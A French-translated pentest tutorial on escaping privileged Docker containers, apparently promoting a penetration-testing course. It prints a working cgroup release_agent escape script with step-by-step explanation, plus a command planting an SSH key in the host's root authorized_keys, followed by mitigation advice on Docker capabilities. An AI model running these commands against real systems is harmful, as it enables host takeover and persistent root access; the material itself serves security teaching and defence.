Échapper aux conteneurs Docker privilégiés

La traduction de l'article a été préparée à la veille du début du cours «Pentest. Pratique des tests de pénétration " .








Les conteneurs privilégiés Docker sont des conteneurs qui s'exécutent avec un indicateur --privileged. Contrairement aux conteneurs classiques, ces conteneurs ont un accès root à la machine hôte.



Les conteneurs privilégiés sont souvent utilisés lorsque les tâches nécessitent un accès direct au matériel pour effectuer des tâches. Cependant, les conteneurs Docker privilégiés peuvent permettre aux attaquants de prendre le contrôle du système hôte. Aujourd'hui, nous allons voir comment vous pouvez quitter un conteneur privilégié.



Rechercher des conteneurs vulnérables



Comment pouvons-nous déterminer que nous sommes dans un conteneur privilégié?



Comment savez-vous que vous êtes dans un conteneur?



Cgroupssignifie groupes de contrôle. Cette fonctionnalité Linux isole l'utilisation des ressources et c'est ce que Docker utilise pour isoler les conteneurs. Vous pouvez savoir si vous êtes dans un conteneur en vérifiant le groupe de contrôle du processus init dans /proc/1/cgroup. Si vous n'êtes pas à l'intérieur du conteneur, le groupe de contrôle sera /. Encore une fois, si vous êtes dans un conteneur, vous verrez à la place /docker/CONTAINER_ID.



Comment savoir si un conteneur est privilégié?



Une fois que vous avez déterminé que vous êtes dans un conteneur, vous devez savoir s'il est privilégié. La meilleure façon de faire est d'exécuter la commande qui a besoin de l'indicateur --privilegedet de voir si cela fonctionne.



Par exemple, vous pouvez essayer d'ajouter une dummyinterface à l'aide de la commande iproute2. Cette commande nécessite l'accès NET_ADMINauquel le conteneur a, s'il est privilégié.



$ ip link add dummy0 type dummy


Si la commande réussit, nous pouvons conclure que le conteneur a des fonctionnalités NET_ADMIN. Et NET_ADMINà son tour, il fait partie d'un ensemble de fonctions privilégiées, et les conteneurs qui ne l'ont pas ne sont pas privilégiés. Vous pouvez supprimer le lien dummy0après ce test avec la commande:



ip link delete dummy0


S'échapper du conteneur



Alors, comment sortir du conteneur privilégié? Le script suivant vous aidera ici. Cet exemple et cette preuve de concept sont tirés du blog Trail of Bits . Pour approfondir le concept, lisez l'article original:



mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"


Cette preuve de concept utilise une fonction release_agentde cgroup.



Une fois le dernier processus terminé dans cgroup, une commande est exécutée qui supprime le travail terminé cgroups. Cette commande est spécifiée dans le fichier release_agentet est exécutée comme rootsur l'ordinateur hôte. Par défaut, la fonctionnalité est désactivée et le chemin release_agentest vide.



Cet exploit exécute le code dans un fichier release_agent. Nous devons créer cgroup, spécifier son fichier release_agentet démarrer release_agent, en tuant tous les processus dans cgroup. La première ligne du test d'hypothèse crée un nouveau groupe:



mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x


Ce qui suit comprend la fonction release_agent:



echo 1 > /tmp/cgrp/x/notify_on_release


Ensuite, le chemin d'accès au fichier est écrit dans les prochaines lignes release_agent:



host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent


Ensuite, vous pouvez commencer à écrire dans le fichier de commande. Ce script exécutera la commande ps auxet l'enregistrera dans un fichier /output. Vous devez également définir les bits d'accès pour le script:



echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd


Enfin, lancez l'attaque en créant un processus qui se terminera immédiatement dans le groupe de contrôle que nous avons créé. Notre script release_agentsera exécuté après la fin du processus. Vous pouvez maintenant lire la sortie ps auxsur la machine hôte dans un fichier /output:



sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"


Vous pouvez utiliser ce concept pour exécuter les commandes de votre choix sur le système hôte. Par exemple, vous pouvez l'utiliser pour écrire votre clé SSH dans le fichier authorized_keysutilisateur racine:



cat id_dsa.pub >> /root/.ssh/authorized_keys




Prévenir une attaque



Comment empêcher cette attaque? Au lieu d'accorder aux conteneurs un accès complet au système hôte, vous ne devez accorder que les autorisations dont ils ont besoin.



Les capacités de Docker permettent aux développeurs d'accorder sélectivement des autorisations à un conteneur. Il devient possible de diviser les autorisations, généralement conditionnées en root access, en composants séparés.



Par défaut, Docker prend toutes les autorisations du conteneur et exige qu'elles soient ajoutées. Vous pouvez supprimer ou ajouter des autorisations à l'aide des indicateurs cap-dropet cap-add.



--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES


Par exemple, au lieu de donner au conteneur root access, vous le laissez NET_BIND_SERVICEs'il doit se connecter à un port inférieur à 1024. Cet indicateur donnera au conteneur les autorisations nécessaires:



--cap-add NET_BIND_SERVICE


Conclusion



Évitez d'exécuter des conteneurs Docker avec un indicateur dans la mesure du possible --privileged. Les conteneurs privilégiés peuvent donner aux attaquants la possibilité de quitter le conteneur et d'accéder au système hôte. Au lieu de cela, donnez l'autorisation aux conteneurs individuellement à l'aide d'un indicateur --cap-add.



Lire la suite








En savoir plus sur le cours.







All Articles